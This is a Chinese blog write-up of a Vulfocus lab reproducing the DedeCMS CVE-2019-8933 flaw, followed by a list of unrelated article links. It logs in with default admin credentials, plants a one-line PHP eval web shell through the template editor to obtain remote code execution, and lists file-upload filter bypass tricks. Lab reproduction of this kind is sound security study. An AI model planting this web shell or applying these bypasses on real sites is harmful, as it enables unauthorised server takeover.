当前位置: 首页 > news >正文

【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

二、漏洞验证

2.1、分析:

2.4、解题:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:48527

123.58.224.8:49857

 123.58.224.8:49857

1.2、知识:

1、基操

明目张胆的改后缀

(一般情况下,希望执行,需要考虑很多绕过方法)

大小写、空格、"."、::$DATA、双写、%00

前端JS检测、文件拓展名绕过、.htaccess文件绕过、条件竞争、内容加密、文件头检测、widows系统文件命名规则的特殊利用 、解析漏洞、 .user.ini.绕过

1.3、描述:

单纯的文件上传



二、漏洞验证

2.1、分析:

进入到登陆页面

URL后面加上/uploads/dede/

账号密码 admin/admin

模板----->默认模板管理----->新建模板

在内容中输入后门代码

<?php @eval($_POST[123]);?>

生成----->更新主页HTML----->浏览

选择新建的模板

后缀改为php

选择生成静态

点击更新主页HTML

 点击浏览

没有报错

所以后门地址为:

http://ip:port/uploads/index.php

使用后门工具进行连接

 

 

2.4、解题:

 

相关文章:

  • 罗克韦尔AB PLC安装Studio5000提示未安装Microsoft .NET Framework 3.5的解决方法
  • C++类和对象详解(下篇)
  • 李沐论文精读笔记( ResNet、Transformer、GAN、BERT)
  • 机器学习SVM算法原理
  • 神经网络学习小记录72——Parameters参数量、FLOPs浮点运算次数、FPS每秒传输帧数等计算量衡量指标解析
  • 牛客网之SQL刷题练习——一个实用的网站
  • TDesign-starter-React
  • 【云原生】Spark on k8s 讲解与实战操作
  • 使用 Flask 部署 Next.js
  • 如何排查内存溢出问题
  • 2_spring-cloud-ribbon
  • 指针练习、字符串、字符串函数
  • 软件工程导论 黑盒测试、白盒测试
  • ASP.NET MVC多表示例题-酒店管理
  • 答应我从这篇文章开始你的C语言之旅吧
  • ES6语法详解(一)
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • If…else
  • Javascript弹出层-初探
  • JAVA并发编程--1.基础概念
  • mongo索引构建
  • React中的“虫洞”——Context
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • text-decoration与color属性
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 如何学习JavaEE,项目又该如何做?
  • 微信端页面使用-webkit-box和绝对定位时,元素上移的问题
  • 问题之ssh中Host key verification failed的解决
  • 无服务器化是企业 IT 架构的未来吗?
  •  一套莫尔斯电报听写、翻译系统
  • 阿里云移动端播放器高级功能介绍
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • ​flutter 代码混淆
  • ​LeetCode解法汇总1276. 不浪费原料的汉堡制作方案
  • #pragma pack(1)
  • #大学#套接字
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (二)斐波那契Fabonacci函数
  • (排序详解之 堆排序)
  • (生成器)yield与(迭代器)generator
  • (十)T检验-第一部分
  • .NET 2.0中新增的一些TryGet,TryParse等方法
  • .NET CF命令行调试器MDbg入门(一)
  • .NET Core 和 .NET Framework 中的 MEF2
  • .NET gRPC 和RESTful简单对比
  • .net 设置默认首页
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地中转一个自定义的弱事件(可让任意 CLR 事件成为弱事件)
  • .Net+SQL Server企业应用性能优化笔记4——精确查找瓶颈
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • ?.的用法
  • [ IO.File ] FileSystemWatcher
  • [Angularjs]asp.net mvc+angularjs+web api单页应用
  • [BZOJ1008][HNOI2008]越狱
  • [gdc19]《战神4》中的全局光照技术